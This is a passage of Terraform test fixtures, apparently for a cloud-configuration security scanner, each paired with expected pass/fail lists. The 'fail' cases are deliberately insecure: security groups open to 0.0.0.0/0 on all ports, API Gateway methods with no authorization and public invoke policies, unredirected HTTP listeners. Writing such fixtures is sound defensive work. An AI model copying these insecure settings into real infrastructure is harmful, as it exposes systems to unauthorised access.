    "content": "# pass\nresource \"aws_acm_certificate\" \"example_pass\" {\n  domain_name       = \"www.example.com\"\n  validation_method = \"DNS\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n  domain_validation_options {\n    domain_name           = \"www.example.com\"\n    validation_domain     = \"example.com\"\n  }\n}\n\nresource \"aws_acm_certificate\" \"example_pass2\" {\n  domain_name       = \"example.com\"\n  validation_method = \"DNS\"\n\n  subject_alternative_names = [\n    \"www.example.com\",\n    \"blog.example.com\",\n    \"shop.example.com\"\n  ]\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n\n\n# fail\nresource \"aws_acm_certificate\" \"example_fail\" {\n  domain_name       = \"*.example.com\"\n  validation_method = \"DNS\"\n\n  lifecycle {\n    create_before_destroy = true\n  }\n\n  domain_validation_options {\n    domain_name           = \"*.example.com\"\n    validation_domain     = \"example.com\"\n  }\n}\n\n# fail: using subject_alternative_names\nresource \"aws_acm_certificate\" \"example_fail_bad_subject\" {\n  domain_name       = \"example.com\"  # Primary domain without wildcard\n  validation_method = \"DNS\"\n\n  subject_alternative_names = [\n    \"*.sub.example.com\",  # Wildcard in the subject alternative names\n    \"www.example.com\",\n    \"api.example.com\"\n  ]\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\n# fail: using subject_alternative_names\nresource \"aws_acm_certificate\" \"example_fail_bad_domain\" {\n  domain_name       = \"*example.com\"  # Primary domain with wildcard\n  validation_method = \"DNS\"\n\n  subject_alternative_names = [\n    \"sub.example.com\",\n    \"www.example.com\",\n    \"api.example.com\"\n  ]\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ADORepositoryHasMinTwoReviewers/expected.yaml",
    "content": "pass:\n    - \"azuredevops_git_repository.pass\"\n\nfail:\n    - \"azuredevops_git_repository.fail\"\n    - \"azuredevops_git_repository.fail2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/ADORepositoryHasMinTwoReviewers/main.tf",
    "content": "resource \"azuredevops_git_repository\" \"pass\" {\n  project_id = azuredevops_project.example.id\n  name       = \"Example Repository\"\n  initialization {\n    init_type = \"Clean\"\n  }\n}\n\nresource \"azuredevops_branch_policy_min_reviewers\" \"example\" {\n  project_id = azuredevops_project.example.id\n\n  enabled  = true\n  blocking = true\n\n  settings {\n    reviewer_count                         = 7\n    submitter_can_vote                     = false\n    last_pusher_cannot_approve             = true\n    allow_completion_with_rejects_or_waits = false\n    on_push_reset_approved_votes           = true # OR on_push_reset_all_votes = true\n    on_last_iteration_require_vote         = false\n\n    scope {\n      repository_id  = azuredevops_git_repository.pass.id\n      repository_ref = azuredevops_git_repository.pass.default_branch\n      match_type     = \"Exact\"\n    }\n\n    scope {\n      repository_id  = null # All repositories in the project\n      repository_ref = \"refs/heads/releases\"\n      match_type     = \"Prefix\"\n    }\n  }\n}\n\n\nresource \"azuredevops_git_repository\" \"fail\" {\n  project_id = azuredevops_project.example.id\n  name       = \"Example Repository\"\n  initialization {\n    init_type = \"Clean\"\n  }\n}\n\nresource \"azuredevops_git_repository\" \"fail2\" {\n  project_id = azuredevops_project.example.id\n  name       = \"Example Repository\"\n  initialization {\n    init_type = \"Clean\"\n  }\n}\n\nresource \"azuredevops_branch_policy_min_reviewers\" \"example\" {\n  project_id = azuredevops_project.example.id\n\n  enabled  = true\n  blocking = true\n\n  settings {\n    reviewer_count                         = 1\n    submitter_can_vote                     = false\n    last_pusher_cannot_approve             = true\n    allow_completion_with_rejects_or_waits = false\n    on_push_reset_approved_votes           = true # OR on_push_reset_all_votes = true\n    on_last_iteration_require_vote         = false\n\n    scope {\n      repository_id  = azuredevops_git_repository.fail2.id\n      repository_ref = azuredevops_git_repository.fail2.default_branch\n      match_type     = \"Exact\"\n    }\n\n    scope {\n      repository_id  = null # All repositories in the project\n      repository_ref = \"refs/heads/releases\"\n      match_type     = \"Prefix\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBProtectedByWAF/expected.yaml",
    "content": "pass:\n  - \"aws_lb.lb_good_1\"\n  - \"aws_lb.lb_good_2\"\n  - \"aws_lb.ignore\"\n  - \"aws_alb.alb_good_1\"\n  - \"aws_lb.network\"\n  - \"aws_lb.gateway\"\nfail:\n  - \"aws_lb.lb_bad_1\"\n  - \"aws_lb.lb_bad_2\"\n  - \"aws_alb.alb_bad_1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBProtectedByWAF/main.tf",
    "content": "resource \"aws_lb\" \"lb_good_1\" {\n  internal= false\n}\n\nresource \"aws_lb\" \"lb_good_2\" {\n  internal= false\n}\n\nresource \"aws_alb\" \"alb_good_1\" {\n  internal= false\n}\n\nresource \"aws_wafregional_web_acl_association\" \"foo\" {\n  resource_arn = aws_lb.lb_good_1.arn\n  web_acl_id = aws_wafregional_web_acl.foo.id\n}\n\nresource \"aws_wafv2_web_acl_association\" \"bar\" {\n  resource_arn = aws_lb.lb_good_2.arn\n  web_acl_arn = aws_wafv2_web_acl.bar.arn\n}\n\nresource \"aws_wafv2_web_acl_association\" \"zed\" {\n  resource_arn = aws_alb.alb_good_1.arn\n  web_acl_arn = aws_wafv2_web_acl.zed.arn\n}\n\n//public no WAF\nresource \"aws_lb\" \"lb_bad_1\" {\n  internal=false\n}\n\n//internal should ignore\nresource \"aws_lb\" \"ignore\" {\n  internal= true\n}\n\n//public internal not set (takes default - public)\nresource \"aws_lb\" \"lb_bad_2\" {\n}\n\n//public no WAF\nresource \"aws_alb\" \"alb_bad_1\" {\n  internal=false\n}\n\n// NLB or Gateway LB can't have a WAF associated\n\nresource \"aws_lb\" \"network\" {\n  internal           = false\n  load_balancer_type = \"network\"\n  name               = \"nlb\"\n  subnets            = var.public_subnet_ids\n}\n\nresource \"aws_lb\" \"gateway\" {\n  load_balancer_type = \"gateway\"\n  name               = \"glb\"\n\n  subnet_mapping {\n    subnet_id = var.subnet_id\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBRedirectsHTTPToHTTPS/expected.yaml",
    "content": "pass:\n  - \"aws_lb.lb_good_1\"\n  - \"aws_lb.lb_good_2\"\n  - \"aws_lb.lb_good_3\"\n  - \"aws_alb.alb_good_1\"\nfail:\n  - \"aws_lb.lb_bad_1\"\n  - \"aws_lb.lb_bad_2\"\n  - \"aws_alb.alb_bad_1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBRedirectsHTTPToHTTPS/main.tf",
    "content": "resource \"aws_lb\" \"lb_good_1\" {\n}\n\nresource \"aws_lb\" \"lb_good_2\" {\n}\n\nresource \"aws_lb\" \"lb_good_3\" {\n}\n\nresource \"aws_alb\" \"alb_good_1\" {\n}\n\nresource \"aws_lb\" \"lb_bad_1\" {\n}\n\nresource \"aws_lb\" \"lb_bad_2\" {\n}\n\nresource \"aws_alb\" \"alb_bad_1\" {\n}\n\nresource \"aws_lb_listener\" \"listener_good_1\" {\n  load_balancer_arn = aws_lb.lb_good_1.arn\n  port = \"443\"\n  protocol = \"HTTPS\"\n\n  default_action {\n    type = \"action\"\n  }\n}\n\nresource \"aws_lb_listener\" \"listener_good_2\" {\n  load_balancer_arn = aws_lb.lb_good_2.arn\n  port              = \"80\"\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      port        = \"443\"\n      protocol    = \"HTTPS\"\n      status_code = \"HTTP_301\"\n    }\n\n  }\n}\n\nresource \"aws_lb_listener\" \"listener_good_3\" {\n  load_balancer_arn = aws_lb.lb_good_3.arn\n  port              = 80  #as an int\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      port        = \"443\"\n      protocol    = \"HTTPS\"\n      status_code = \"HTTP_301\"\n    }\n\n  }\n}\n\nresource \"aws_alb_listener\" \"listener_good_1\" {\n  load_balancer_arn = aws_alb.alb_good_1.arn\n  port              = 80  #as an int\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      port        = \"443\"\n      protocol    = \"HTTPS\"\n      status_code = \"HTTP_301\"\n    }\n\n  }\n}\n\nresource \"aws_lb_listener\" \"listener_bad_1\" {\n  load_balancer_arn = aws_lb.lb_bad_1.arn\n  port              = \"80\"\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"some-action\"\n  }\n}\n\nresource \"aws_lb_listener\" \"listener_bad_2\" {\n  load_balancer_arn = aws_lb.lb_bad_2.arn\n  port              = 80\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"some-action\"\n  }\n}\n\nresource \"aws_alb_listener\" \"listener_bad_1\" {\n  load_balancer_arn = aws_alb.alb_bad_1.arn\n  port              = 80\n  protocol          = \"HTTP\"\n\n  default_action {\n    type = \"some-action\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBWebACLConfiguredWIthLog4jVulnerability/expected.yaml",
    "content": "pass:\n  - \"aws_lb.pass_1\"\nfail:\n  - \"aws_lb.fail_1\"\n  - \"aws_lb.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ALBWebACLConfiguredWIthLog4jVulnerability/main.tf",
    "content": "# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"pass_1\" {\n  name        = \"example-waf-acl\"\n  description = \"Example WAF Web ACL\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"example-rule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  rule {\n    name     = \"example-rule2\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"example-web-acl-metric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# Application Load Balancer\nresource \"aws_lb\" \"pass_1\" {\n  name               = \"example-alb\"\n  internal           = false\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.pass_1.id]\n  subnets            = [aws_subnet.pass_1.id, aws_subnet.pass_1.id]\n}\n\n# WAF to ALB Association\nresource \"aws_wafv2_web_acl_association\" \"pass_1\" {\n  resource_arn = aws_lb.pass_1.arn\n  web_acl_arn  = aws_wafv2_web_acl.pass_1.arn\n}\n\n##################\n\n# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"fail_2\" {\n  name        = \"example-waf-acl\"\n  description = \"Example WAF Web ACL\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  # Add your rules here\n  rule {\n    name     = \"example-rule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"example-rule-metric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"example-web-acl-metric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# Application Load Balancer\nresource \"aws_lb\" \"fail_2\" {\n  name               = \"example-alb\"\n  internal           = false\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.fail_2.id]\n  subnets            = [aws_subnet.fail_2.id, aws_subnet.fail_2.id]\n}\n\n# WAF to ALB Association\nresource \"aws_wafv2_web_acl_association\" \"fail_2\" {\n  resource_arn = aws_lb.fail_2.arn\n  web_acl_arn  = aws_wafv2_web_acl.fail_2.arn\n}\n\n##################\n\n# WAFv2 Web ACL\nresource \"aws_wafv2_web_acl\" \"fail_1\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of WAFv2 ACL with multiple managed rule groups\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"common-rule-set\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesCommonRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"CommonRuleSetMetric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  rule {\n    name     = \"anonymous-ip-list\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = true\n      metric_name               = \"AnonymousIPListMetric\"\n      sampled_requests_enabled  = true\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = true\n    metric_name               = \"WAFWebACLMetric\"\n    sampled_requests_enabled  = true\n  }\n}\n\n# Application Load Balancer\nresource \"aws_lb\" \"fail_1\" {\n  name               = \"example-alb\"\n  internal           = false\n  load_balancer_type = \"application\"\n  security_groups    = [aws_security_group.fail_1.id]\n  subnets            = [aws_subnet.fail_1.id, aws_subnet.fail_1.id]\n}\n\n# WAF to ALB Association\nresource \"aws_wafv2_web_acl_association\" \"fail_1\" {\n  resource_arn = aws_lb.fail_1.arn\n  web_acl_arn  = aws_wafv2_web_acl.fail_1.arn\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AMRClustersNotOpenToInternet/expected.yaml",
    "content": "pass:\n  - \"aws_emr_cluster.cluster_ok\"\nfail:\n  - \"aws_emr_cluster.cluster_not_connected\"\n  - \"aws_emr_cluster.cluster_connected_to_wrong_group\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AMRClustersNotOpenToInternet/main.tf",
    "content": "resource \"aws_emr_cluster\" \"cluster_ok\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  ec2_attributes {\n    emr_managed_master_security_group = aws_security_group.block_access_ok.id\n    emr_managed_slave_security_group  = aws_security_group.block_access_ok.id\n    instance_profile                  = \"connected_to_aws_iam_instance_profile\"\n  }\n}\n\nresource \"aws_security_group\" \"block_access_ok\" {\n  name        = \"block_access\"\n  description = \"Block all traffic\"\n\n  ingress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"10.0.0.1/10\"]\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"10.0.0.10/10\"]\n  }\n}\n\nresource \"aws_emr_cluster\" \"cluster_not_connected\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  ec2_attributes {\n    instance_profile                  = \"connected_to_aws_iam_instance_profile\"\n  }\n}\n\n\nresource \"aws_emr_cluster\" \"cluster_connected_to_wrong_group\" {\n  name          = \"emr-test-arn\"\n  release_label = \"emr-4.6.0\"\n  applications  = [\"Spark\"]\n\n  ec2_attributes {\n    emr_managed_master_security_group = aws_security_group.block_access_not_ok.id\n    emr_managed_slave_security_group  = aws_security_group.block_access_not_ok.id\n    instance_profile                  = \"connected_to_aws_iam_instance_profile\"\n  }\n}\n\nresource \"aws_security_group\" \"block_access_not_ok\" {\n  name        = \"block_access\"\n  description = \"Block all traffic\"\n\n  ingress {\n    from_port   = 0\n    to_port     = 65535\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n\n  egress {\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGWLoggingLevelsDefinedProperly/expected.yaml",
    "content": "pass:\n  - \"aws_api_gateway_stage.ok_example\"\nfail:\n  - \"aws_api_gateway_stage.not_connected\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGWLoggingLevelsDefinedProperly/main.tf",
    "content": "resource \"aws_api_gateway_rest_api\" \"ok_example\" {\n  body = jsonencode({\n    openapi = \"3.0.1\"\n    info = {\n      title   = \"ok_example\"\n      version = \"1.0\"\n    }\n    paths = {\n      \"/path1\" = {\n        get = {\n          x-amazon-apigateway-integration = {\n            httpMethod           = \"GET\"\n            payloadFormatVersion = \"1.0\"\n            type                 = \"HTTP_PROXY\"\n            uri                  = \"https://ip-ranges.amazonaws.com/ip-ranges.json\"\n          }\n        }\n      }\n    }\n  })\n\n  name = \"ok_example\"\n}\n\nresource \"aws_api_gateway_deployment\" \"ok_example\" {\n  rest_api_id = aws_api_gateway_rest_api.ok_example.id\n\n  triggers = {\n    redeployment = sha1(jsonencode(aws_api_gateway_rest_api.ok_example.body))\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\nresource \"aws_api_gateway_stage\" \"ok_example\" {\n  deployment_id = aws_api_gateway_deployment.ok_example.id\n  rest_api_id   = aws_api_gateway_rest_api.ok_example.id\n  stage_name    = \"ok_example\"\n}\n\nresource \"aws_api_gateway_method_settings\" \"all\" {\n  rest_api_id = aws_api_gateway_rest_api.ok_example.id\n  stage_name  = aws_api_gateway_stage.ok_example.stage_name\n  method_path = \"*/*\"\n\n  settings {\n    metrics_enabled = true\n    logging_level   = \"ERROR\"\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"path_specific\" {\n  rest_api_id = aws_api_gateway_rest_api.ok_example.id\n  stage_name  = aws_api_gateway_stage.ok_example.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    metrics_enabled = true\n    logging_level   = \"INFO\"\n  }\n}\n\n# Bad Example 1 - Not connected or connected with wrong logs errors\n\n\nresource \"aws_api_gateway_deployment\" \"not_connected\" {\n  rest_api_id = aws_api_gateway_rest_api.not_connected.id\n\n  triggers = {\n    redeployment = sha1(jsonencode(aws_api_gateway_rest_api.not_connected.body))\n  }\n\n  lifecycle {\n    create_before_destroy = true\n  }\n}\n\nresource \"aws_api_gateway_stage\" \"not_connected\" {\n  deployment_id = aws_api_gateway_deployment.not_connected.id\n  rest_api_id   = aws_api_gateway_rest_api.not_connected.id\n  stage_name    = \"not_connected\"\n}\n\nresource \"aws_api_gateway_method_settings\" \"all\" {\n  rest_api_id = aws_api_gateway_rest_api.not_connected.id\n  method_path = \"*/*\"\n\n  settings {\n    metrics_enabled = true\n    logging_level   = \"ERROR\"\n  }\n}\n\nresource \"aws_api_gateway_method_settings\" \"path_specific\" {\n  rest_api_id = aws_api_gateway_rest_api.not_connected.id\n  stage_name  = aws_api_gateway_stage.not_connected.stage_name\n  method_path = \"path1/GET\"\n\n  settings {\n    metrics_enabled = true\n    logging_level   = \"DEBUG\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayEndpointsUsesCertificateForAuthentication/expected.yaml",
    "content": "pass:\n  - \"aws_apigatewayv2_stage.pass_v2\"\n  - \"aws_api_gateway_stage.pass_v1\"\nfail:\n  - \"aws_apigatewayv2_stage.fail_v2\"\n  - \"aws_api_gateway_stage.fail_v1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayEndpointsUsesCertificateForAuthentication/main.tf",
    "content": "resource \"aws_apigatewayv2_stage\" \"fail_v2\" {\n  api_id = aws_apigatewayv2_api.fail_api_1.id\n  name   = \"example-stage\"\n}\n\nresource \"aws_apigatewayv2_api\" \"fail_api_1\" {\n  name                       = \"example-websocket-api\"\n  protocol_type              = \"WEBSOCKET\"\n  route_selection_expression = \"$request.body.action\"\n}\n\nresource \"aws_api_gateway_stage\" \"fail_v1\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.example.id\n  stage_name    = \"example\"\n}\n\nresource \"aws_apigatewayv2_stage\" \"pass_v2\" {\n  api_id = aws_apigatewayv2_api.pass_api_1.id\n  name   = \"example-stage\"\n  client_certificate_id = \"certificateId\"\n}\n\nresource \"aws_apigatewayv2_api\" \"pass_api_1\" {\n  name                       = \"example-websocket-api\"\n  protocol_type              = \"WEBSOCKET\"\n  route_selection_expression = \"$request.body.action\"\n}\n\nresource \"aws_api_gateway_stage\" \"pass_v1\" {\n  deployment_id = aws_api_gateway_deployment.example.id\n  rest_api_id   = aws_api_gateway_rest_api.example.id\n  stage_name    = \"example\"\n  client_certificate_id = \"certificateId\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayMethodWOAuth/expected.yaml",
    "content": "pass:\n  - \"aws_api_gateway_method.pass_auth\"\n  - \"aws_api_gateway_method.pass_passapikey\"\n  - \"aws_api_gateway_method.pass_httpmethod\"\n  - \"aws_api_gateway_method.pass_private\"\n  - \"aws_api_gateway_method.pass_deny\"\n  - \"aws_api_gateway_method.pass_deny2\"\nfail:\n  - \"aws_api_gateway_method.fail1\"\n  - \"aws_api_gateway_method.fail2\"\n  - \"aws_api_gateway_method.fail3\"\n  - \"aws_api_gateway_method.fail4\"\n  - \"aws_api_gateway_method.fail5\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/APIGatewayMethodWOAuth/main.tf",
    "content": "# Pass: authorizationType contains AWS_IAM (Required field)\nresource \"aws_api_gateway_method\" \"pass_auth\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_auth.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"AWS_IAM\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_auth\" {\n  name = \"example\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Pass: apiKeyRequired set to true\nresource \"aws_api_gateway_method\" \"pass_passapikey\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_passapikey.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = true\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_passapikey\" {\n  name = \"example\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Pass: httpMethod set to POST\nresource \"aws_api_gateway_method\" \"pass_httpmethod\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_httpmethod.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"POST\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_passapikey\" {\n  name = \"example\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Pass: Bad config, but no connected aws_api_gateway_rest_api\nresource \"aws_api_gateway_method\" \"skipped_noconnect1\" {\n  rest_api_id   = aws_api_gateway_rest_api.nonexistent.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\n# Fail: Bad aws_api_gateway_method config, bad policy in aws_api_gateway_rest_api_policy\nresource \"aws_api_gateway_method\" \"fail1\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail1.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail1\" {\n  name = \"example-rest-api\"\n}\n\nresource \"aws_api_gateway_rest_api_policy\" \"fail1\" {\n  rest_api_id = aws_api_gateway_rest_api.fail1.id\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Fail: Bad aws_api_gateway_method config, bad policy in aws_api_gateway_rest_api_policy\nresource \"aws_api_gateway_method\" \"fail2\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail2.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail2\" {\n  name = \"example-rest-api\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Fail: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy\nresource \"aws_api_gateway_method\" \"fail3\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail3.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail3\" {\n  name = \"example-rest-api\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Pass: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy, but PRIVATE\nresource \"aws_api_gateway_method\" \"pass_private\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_private.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_private\" {\n  name = \"example-rest-api\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n\n  endpoint_configuration {\n    types            = [\"PRIVATE\"]\n  }\n}\n\n# Fail: Bad aws_api_gateway_method config - missing api_key_required, bad policy in aws_api_gateway_rest_api_policy, but Private and Regional\nresource \"aws_api_gateway_method\" \"fail4\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail4.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail4\" {\n  name = \"example-rest-api\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Effect    = \"Allow\"\n        Action    = \"execute-api:Invoke\"\n        Principal = \"*\"\n      }\n    ]\n  })\n\n  endpoint_configuration {\n    types = [\"REGIONAL\",\"PRIVATE\"]\n  }\n}\n\n# Pass: Deny block\nresource \"aws_api_gateway_method\" \"pass_deny\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_deny.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_deny\" {\n  name = \"example-rest-api\"\n  policy      = jsonencode({\n    Statement = [\n      {\n        Sid       = \"AllowAllForEveryPrincipal\"\n        Effect    = \"Allow\"\n        Action    = \"*\"\n        Resource  = \"*\"\n        Principal = \"*\"\n      },\n      {\n        Sid       = \"AllowExecuteApiInvokeWithCondition\"\n        Effect    = \"Deny\"\n        Action    = \"execute-api:Invoke\"\n        Resource  = \"*\"\n        Principal = \"*\"\n      }\n    ]\n  })\n}\n\n# Fail: Separate data block for policy\nresource \"aws_api_gateway_method\" \"fail5\" {\n  rest_api_id   = aws_api_gateway_rest_api.fail5.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"fail5\" {\n  name = \"example-rest-api\"\n}\n\ndata \"aws_iam_policy_document\" \"fail5\" {\n  statement {\n    effect = \"Allow\"\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    actions   = [\"execute-api:Invoke\"]\n    resources = [aws_api_gateway_rest_api.fail5.execution_arn]\n  }\n}\n\nresource \"aws_api_gateway_rest_api_policy\" \"fail5\" {\n  rest_api_id = aws_api_gateway_rest_api.fail5.id\n  policy      = data.aws_iam_policy_document.fail5.json\n}\n\n# Pass: Separate data block for policy, deny\nresource \"aws_api_gateway_method\" \"pass_deny2\" {\n  rest_api_id   = aws_api_gateway_rest_api.pass_deny2.id\n  resource_id   = aws_api_gateway_resource.example.id\n  http_method   = \"OPTIONS\"\n  authorization = \"NONE\"\n  api_key_required = false\n}\n\nresource \"aws_api_gateway_rest_api\" \"pass_deny2\" {\n  name = \"example-rest-api\"\n}\n\ndata \"aws_iam_policy_document\" \"pass_deny2\" {\n  statement {\n    effect = \"Allow\"\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    actions   = [\"execute-api:*\"]\n    resources = [\"*\"]\n  }\n\n  statement {\n    effect = \"Deny\"\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n\n    actions   = [\"execute-api:Invoke\"]\n    resources = [\"*\"]\n  }\n}\n\nresource \"aws_api_gateway_rest_api_policy\" \"pass_deny2\" {\n  rest_api_id = aws_api_gateway_rest_api.pass_deny2.id\n  policy      = data.aws_iam_policy_document.pass_deny2.json\n}\n"
  },
  {
